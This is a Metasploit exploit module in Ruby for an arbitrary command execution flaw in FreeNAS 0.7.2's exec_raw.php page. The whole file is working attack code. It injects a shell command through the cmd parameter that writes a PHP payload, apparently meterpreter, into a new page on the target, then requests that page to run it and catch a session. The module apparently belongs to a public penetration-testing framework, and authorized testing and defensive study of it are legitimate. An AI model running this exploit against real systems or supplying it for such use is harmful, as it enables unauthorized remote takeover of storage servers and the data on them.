cgranleese-r7
77 lines
2.1 KiB
Ruby
77 lines
2.1 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'FreeNAS exec_raw.php Arbitrary Command Execution',
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'Description' => %q{
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This module exploits an arbitrary command execution flaw
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in FreeNAS 0.7.2 < rev.5543. When passing a specially formatted URL
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to the exec_raw.php page, an attacker may be able to execute arbitrary
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commands.
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NOTE: This module works best with php/meterpreter payloads.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'References' => [
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[ 'OSVDB', '94441' ],
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[ 'URL', 'http://sourceforge.net/projects/freenas/files/stable/0.7.2/NOTES%200.7.2.5543.txt/download' ]
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],
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'Payload' => {
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'Space' => 6144,
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'DisableNops' => true,
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'BadChars' => "`\"' %&x",
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},
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'Targets' => [
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[ 'Automatic Target', {} ]
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],
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'Privileged' => true,
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'Platform' => 'php',
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'Arch' => ARCH_PHP,
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'DisclosureDate' => '2010-11-06',
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'DefaultTarget' => 0,
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'Notes' => {
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'Reliability' => UNKNOWN_RELIABILITY,
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'Stability' => UNKNOWN_STABILITY,
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'SideEffects' => UNKNOWN_SIDE_EFFECTS
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}
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)
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)
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end
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def exploit
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page = rand_text_alpha_upper(rand(5) + 1) + ".php"
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shellcode = payload.encoded
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sploit = "echo \"<?php\n#{shellcode}\n?>\" > #{page}"
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print_status("Sending exploit page '#{page}'")
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res = send_request_raw(
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{
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'uri' => "/exec_raw.php?cmd=" + Rex::Text.uri_encode(sploit),
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}, 10
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)
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if (res and res.code == 200)
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print_status("Triggering payload...")
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send_request_raw({ 'uri' => "/#{page}" }, 5)
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handler
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else
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print_error("Exploit failed")
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return
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end
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end
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end
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